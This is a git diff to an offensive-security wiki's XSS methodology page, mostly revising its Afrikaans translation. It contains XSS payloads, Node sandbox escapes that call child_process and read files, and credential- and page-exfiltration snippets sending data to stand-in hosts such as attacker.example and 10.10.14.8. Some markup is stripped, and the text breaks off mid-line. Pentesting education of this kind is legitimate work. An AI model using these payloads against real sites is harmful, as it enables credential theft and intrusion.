diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index be4d4275a..4c7d77d24 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -725,6 +725,7 @@
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
+ - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index 1cb6d9062..75f58bfeb 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -4,81 +4,80 @@
## Metodologie
-1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _path_, _headers_?, _cookies_?) **weerspieël** word in die HTML of **gebruik** word deur **JS**-kode.
-2. **Vind die konteks** waar dit weerspieël/gebruik word.
-3. As dit **weerspieël**
-1. Kontroleer **watter simbole jy kan gebruik** en, afhangend daarvan, berei die payload voor:
-1. In **ruwe HTML**:
-1. Kan jy nuwe HTML-tags skep?
-2. Kan jy events of attributte gebruik wat die `javascript:`-protokol ondersteun?
-3. Kan jy beskerming omseil?
-4. Word die HTML-inhoud geïnterpreteer deur enige client-side JS-motor (_AngularJS_, _VueJS_, _Mavo_...)? Jy kan 'n [**Client Side Template Injection**](../client-side-template-injection-csti.md) misbruik.
-5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) misbruik?
-2. Binne 'n **HTML-tag**:
-1. Kan jy ontsnap na die ruwe HTML-konteks?
-2. Kan jy nuwe events/attribute skep om JS-kode uit te voer?
-3. Ondersteun die attribuut waarin jy gevang is die uitvoering van JS?
-4. Kan jy beskerming omseil?
-3. Binne **JavaScript-kode**:
-1. Kan jy uit die ``** tags van 'n HTML-bladsy, binne 'n `.js` lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
+In hierdie geval word jou insetsel weerspieël tussen **``** tags van 'n HTML-bladsy, binne 'n `.js` lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
-- As dit gereflekteer word tussen **``** tags, selfs al is jou invoer binne enige soort aanhalingstekens, kan jy probeer om `` in te spuit en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-tags sal parse** en daarna die inhoud, daarom sal dit nie opmerk dat jou ingespuitte `` tag binne die HTML-kode is nie.
-- As dit gereflekteer word **binne 'n JS-string** en die laaste truuk werk nie, sal jy die string moet **verlaat**, jou code **uitvoer** en die JS code **herbou** (as daar enige fout is, sal dit nie uitgevoer word nie):
+- As dit weerspieël word tussen **``** tags, selfs as jou insetsel binne enige soort aanhalingstekens is, kan jy probeer om `` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-tags sal ontleed** en dan die inhoud, daarom sal dit nie opmerk dat jou ingevoegde `` tag binne die HTML-kode is nie.
+- If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed:
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
-- As dit gereflekteer word binne template literals kan jy **JS-uitdrukkings inkorporeer** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicode encode** werk om **valid javascript code** te skryf:
+- As dit weerspieël word binne template literals kan jy **JS expressions** insluit met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
+- **Unicode encode** werk om **geldige javascript code** te skryf:
```javascript
alert(1)
alert(1)
@@ -86,7 +85,7 @@ alert(1)
```
#### Javascript Hoisting
-Javascript Hoisting verwys na die geleentheid om functions, variables of classes ná gebruik te declare, sodat jy scenario's kan misbruik waar 'n XSS undeclared variables of functions gebruik.\
+Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of klasse nádat hulle gebruik is te verklaar sodat jy scenario's kan misbruik waar 'n XSS onverklaarde veranderlikes of funksies gebruik.**\
**Kyk na die volgende bladsy vir meer inligting:**
@@ -96,19 +95,19 @@ js-hoisting.md
### Javascript Function
-Verskeie webblaaie het endpoints wat **as parameter die naam van die function aanvaar wat uitgevoer moet word**. 'n Algemene voorbeeld wat jy in die wild sien is iets soos: `?callback=callbackFunc`.
+Verskeie webblaaie het endpoints wat **as parameter die naam van die funksie om uit te voer aanvaar**. 'n Algemene voorbeeld in die veld is iets soos: `?callback=callbackFunc`.
-'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is probeer uitgevoer word, is deur die **modifying the param value** (byvoorbeeld na 'Vulnerable') en in die console te kyk vir foute soos:
+'n Goeie manier om te ontdek of iets wat direk deur die gebruiker gegee is probeer uitgevoer word, is deur **die parameterwaarde aan te pas** (byvoorbeeld na 'Vulnerable') en in die console te kyk vir foute soos:
.png>)
-As dit kwesbaar is, kan jy 'n **trigger an alert** veroorsaak deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie endpoints die inhoud **validate** om slegs letters, syfers, punte en underscores toe te laat (**`[\w\._]`**).
+As dit kwesbaar is, kan jy moontlik **'n alert aktiveer** net deur die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie endpoints die inhoud sal **valideer** om slegs letters, syfers, kolletjies en underscores toe te laat (**`[\w\._]`**).
-Tog, selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **access any element in the DOM**:
+Selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **toegang te kry tot enige element in die DOM**:
.png>)
-Some useful functions for this:
+Sommige nuttige funksies hiervoor:
```
firstElementChild
lastElementChild
@@ -116,11 +115,11 @@ nextElementSibiling
lastElementSibiling
parentElement
```
-Jy kan ook probeer om **trigger Javascript functions** direk: `obj.sales.delOrders`.
+Jy kan ook probeer om direk **trigger Javascript functions**: `obj.sales.delOrders`.
-Gewoonlik is die endpoints wat die aangeduide funksie uitvoer egter endpoints sonder baie interessante DOM; **ander bladsye in dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer.
+In die praktyk is die endpoints wat die aangeduide funksie uitvoer gewoonlik endpoints sonder 'n baie interessante DOM; **other pages in the same origin** sal 'n **more interesting DOM** hê om meer aksies uit te voer.
-Daarom, om **abuse this vulnerability in a different DOM** te bereik, is die **Same Origin Method Execution (SOME)** exploitation ontwikkel:
+Daarom, om hierdie kwesbaarheid in 'n ander DOM te misbruik, is die **Same Origin Method Execution (SOME)** exploitation ontwikkel:
{{#ref}}
@@ -129,7 +128,7 @@ some-same-origin-method-execution.md
### DOM
-Daar is **JS code** wat **onveilig** sekere **data wat deur 'n aanvaller beheer word** gebruik, soos `location.href`. 'n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer.
+Daar is **JS code** wat op 'n onveilige wyse sekere **data controlled by an attacker** gebruik, soos `location.href`. 'n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer.
{{#ref}}
@@ -138,8 +137,8 @@ dom-xss.md
### **Universal XSS**
-Sulke XSS kan **oral** gevind word. Hulle is nie net afhanklik van die client exploitation van 'n webtoepassing nie maar van **enige** **konteks**. Hierdie tipe **arbitrêre JavaScript execution** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te lees, en meer.\
-Sommige **voorbeelde**:
+Hierdie soort XSS kan **ooral** gevind word. Hulle is nie net afhanklik van die kliëntuitbuiting van 'n webtoepassing nie, maar van **enige** **konteks**. Hierdie soort **arbitrary JavaScript execution** kan selfs misbruik word om **RCE** te bekom, **read** **arbitrary** **files** op kliënte en bedieners, en meer.\
+Sommige **examples**:
{{#ref}}
@@ -157,11 +156,11 @@ server-side-xss-dynamic-pdf.md
## Injecting inside raw HTML
-As jou invoer **inside the HTML page** gereflekteer word of jy kan ontsnap en HTML-kode in hierdie konteks injekteer, is die **first** ding wat jy moet doen om te kontroleer of jy `<` kan misbruik om nuwe tags te skep: Probeer net om daardie **char** te **reflect** en kyk of dit **HTML encoded** word of **deleted** word, of of dit **reflected without changes** is. **Only in the last case you will be able to exploit this case**.\
-Vir hierdie gevalle hou ook **in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_
+As jou invoer weerspieël word **inside the HTML page** of jy kan ontsnap en HTML-kode in hierdie konteks injekteer, is die **first** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe tags te skep: Probeer net om daardie **char** te **reflect** en kyk of dit **HTML encoded** of **deleted** word, of of dit **reflected without changes** is. **Slegs in laasgenoemde geval sal jy hierdie situasie kan uitbuit**.\
+Vir hierdie gevalle **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
+_**Nota: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_
-In hierdie geval en as geen swart-/witlyste gebruik word nie, kan jy payloads soos:
+In hierdie geval, en as geen swart-/witlys gebruik word nie, kan jy payloads soos die volgende gebruik:
```html
` kan jy maklik die sluiting van die `` kan jy maklik **escape die sluiting van die `
```
-Neem kennis dat ons in hierdie voorbeeld **nie eers die enkele aanhalingsteken toegemaak het nie**. Dit is omdat **HTML parsing eers deur die browser uitgevoer word**, wat behels dat bladsy-elemente, insluitend blokke van script, geïdentifiseer word. Die parsing van JavaScript om die ingeslote scripts te verstaan en uit te voer, vind eers daarna plaas.
+Let daarop dat in hierdie voorbeeld ons **het nie eers die enkele aanhalingsteken gesluit nie**. Dit is omdat **HTML parsing is performed first by the browser**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van script. Die parsing van JavaScript om die ingeslote scripts te verstaan en uit te voer word eers daarna uitgevoer.
-### Binne JS-kode
+### Binne JS code
-As `<>` gesanitiseer word, kan jy steeds **die string ontsnap** waar jou invoer **geleë** is en **arbitrêre JS uitvoer**. Dit is belangrik om **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
+As `<>` gesanitiseer word, kan jy steeds **ontsnap die string** waar jou insette **geleë is** en **voer willekeurige JS uit**. Dit is belangrik om **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS code nie uitgevoer word nie:
```
'-alert(document.domain)-'
';alert(document.domain)//
@@ -496,25 +496,25 @@ As `<>` gesanitiseer word, kan jy steeds **die string ontsnap** waar jou invoer
```
#### JS-in-JS string break → inject → repair pattern
-Wanneer gebruikersinvoer binne 'n quoted JavaScript string beland (e.g., server-side echo into an inline script), kan jy die string beëindig, kode injekteer en die sintaks herstel om parsing geldig te hou. Generiese geraamte:
+Wanneer gebruikersinvoer binne 'n aangehaalde JavaScript-string beland (bv. server-side echo in 'n inline script), kan jy die string beëindig, code inject, en die sintaksis herstel sodat dit steeds geldig geparseer word. Generiese geraamte:
```
" // end original string
; // safely terminate the statement
// attacker-controlled JS
; a = " // repair and resume expected string/statement
```
-Voorbeeld-URL-patroon wanneer die kwesbare parameter in 'n JS-string weerspieël word:
+Voorbeeld-URL-patroon wanneer die kwesbare parameter in 'n JS-string gereflekteer word:
```
?param=test";;a="
```
-Dit voer aanvaller-JS uit sonder om die HTML-konteks aan te raak (suiwer JS-in-JS). Kombineer dit met die swartlys-omseilings hieronder wanneer filters sleutelwoorde blokkeer.
+Dit voer attacker JS uit sonder om die HTML-konteks te raak (puur JS-in-JS). Kombineer dit met die blacklist bypasses hieronder wanneer filters sleutelwoorde blokkeer.
### Template literals ``
-Om **strings** te konstrueer, behalwe enkelle en dubbele aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien hulle toelaat om **embedded JS expressions** te gebruik met die `${ ... }` sintaksis.\
-Daarom, as jy vind dat jou invoer binne 'n JS string wat backticks gebruik **reflected** word, kan jy die sintaksis `${ ... }` misbruik om **arbitrary JS code** uit te voer:
+Om **strings** te konstrueer, anders as enkel- en dubbel-aanhalingstekens, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit toelaat om **ingeslote JS-uitdrukkings** te gebruik met die `${ ... }` sintaksis.\
+Daarom, as jy vind dat jou invoer binne 'n JS-string wat backticks gebruik **gereflekteer** word, kan jy die sintaksis `${ ... }` misbruik om **willekeurige JS-kode** uit te voer:
-Dit kan **misbruik** word deur:
+Dit kan **misbruik** word met:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@@ -526,21 +526,21 @@ return loop
}
loop``
```
-### Gekodeerde kode-uitvoering
+### Encoded code execution
```html
```
-### Spesiale Vervangingspatrone
+### Spesiale vervangingspatrone
-Wanneer iets soos **`"some {{template}} data".replace("{{template}}", )`** gebruik word, kan die aanvaller [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) gebruik om sekere beskermings te omseil: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+As iets soos **`"some {{template}} data".replace("{{template}}", )`** gebruik word, kan die aanvaller [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) gebruik om te probeer sekere beskermings te omseil: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
-Byvoorbeeld in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om **'n JSON-string te ontsnap** binne 'n script en enige kode uit te voer.
+Byvoorbeeld in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), this was used to **scape a JSON string** inside a script and execute arbitrary code.
### Chrome Cache to XSS
@@ -1028,22 +1039,22 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
-As **alles ongedefinieer** is voordat onbetroubare kode uitgevoer word (soos in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), is dit moontlik om nuttige objekte "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
+As **alles is undefined** voordat onbetroubare kode uitgevoer word (soos in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), is dit moontlik om nuttige objekte "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
-- Deur import() te gebruik
+- Gebruik import()
```javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
-- Indirek toegang tot `require`
+- Indirekte toegang tot `require`
-[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules word deur Node.js in 'n funksie ingepak, soos volg:
+[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules word deur Node.js binne 'n funksie toegedraai, soos volg:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
-Daarom, as ons van daardie module af **'n ander funksie kan oproep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om toegang tot **`require`** te kry:
+Daarom, as ons van daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om by **`require`** toegang te kry:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@@ -1052,7 +1063,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
-Op 'n soortgelyke wyse as die vorige voorbeeld, is dit moontlik om **use error handlers** te gebruik om toegang tot die **wrapper** van die module te kry en die **`require`** funksie te bekom:
+Op 'n soortgelyke manier as die vorige voorbeeld is dit moontlik om deur middel van **error handlers** toegang te kry tot die **wrapper** van die module en die **`require`** funksie te verkry:
```javascript
try {
null.f()
@@ -1090,9 +1101,9 @@ console.log(req("child_process").execSync("id").toString())
}
trigger()
```
-### Obskurering & Gevorderde Omseiling
+### Obfuscation & Advanced Bypass
-- **Verskillende obskurerings op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
+- **Verskillende obfuscations op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
@@ -1282,7 +1293,7 @@ steal-info-js.md
### Iframe Trap
-Laat die gebruiker op die bladsy navigeer sonder om die iframe te verlaat en steel sy/haar aksies (insluitend inligting wat in vorms gestuur word):
+Laat die gebruiker op die bladsy navigeer sonder om die iframe te verlaat en steel sy handelinge (insluitend inligting wat in vorms gestuur word):
{{#ref}}
@@ -1312,9 +1323,9 @@ Laat die gebruiker op die bladsy navigeer sonder om die iframe te verlaat en ste
```
> [!TIP]
-> Jy **sal nie toegang tot die cookies vanaf JavaScript hê nie** as die HTTPOnly flag in die cookie gestel is. Maar hier het jy [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg.
-
-### Steal Page Content
+> Jy **sal nie deur JavaScript toegang tot die cookies kry nie** as die HTTPOnly flag in die cookie gestel is. Maar hier het jy [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.
+
+### Steel Bladsyinhoud
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
@@ -1388,7 +1399,7 @@ q.shift()()
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
-### Port Scanner (websockets)
+### Poortskandeerder (websockets)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i::placeholder { color:white; }
```
-### Vasvang van Auto-fill passwords
+### Auto-fill passwords vangs
```javascript
Username:>
@@ -1422,11 +1433,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
-Wanneer enige data in die password field ingevoer word, word die username en password na die attackers server gestuur — selfs as die kliënt 'n saved password kies en niks tik nie, sal die credentials ex-filtrated word.
+When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
### Hijack form handlers to exfiltrate credentials (const shadowing)
-As 'n kritieke handler (bv., `function DoLogin(){...}`) later in die bladsy gedeclareer word, en jou payload vroeër uitgevoer word (bv., via 'n inline JS-in-JS sink), definieer eers 'n `const` met dieselfde naam om die handler te voorkom en te vergrendel. Later funksie-deklarasies kan nie 'n `const`-naam herbinde nie, en laat jou hook in beheer:
+Indien 'n kritieke handler (e.g., `function DoLogin(){...}`) later op die bladsy gedefinieer word, en jou payload vroeër loop (e.g., via an inline JS-in-JS sink), definieer eers 'n `const` met dieselfde naam om die handler te preëmpt en te vergrendel. Later funksie-deklarasies kan nie 'n `const`-naam herbind nie, wat jou hook in beheer laat:
```javascript
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
@@ -1435,20 +1446,20 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
};
```
Aantekeninge
-- Dit berus op uitvoeringsvolgorde: jou injectie moet uitgevoer word voor die legitieme deklarasie.
-- As jou payload in `eval(...)` ingesluit is, sal `const/let` bindings nie globals word nie. Gebruik die dinamiese `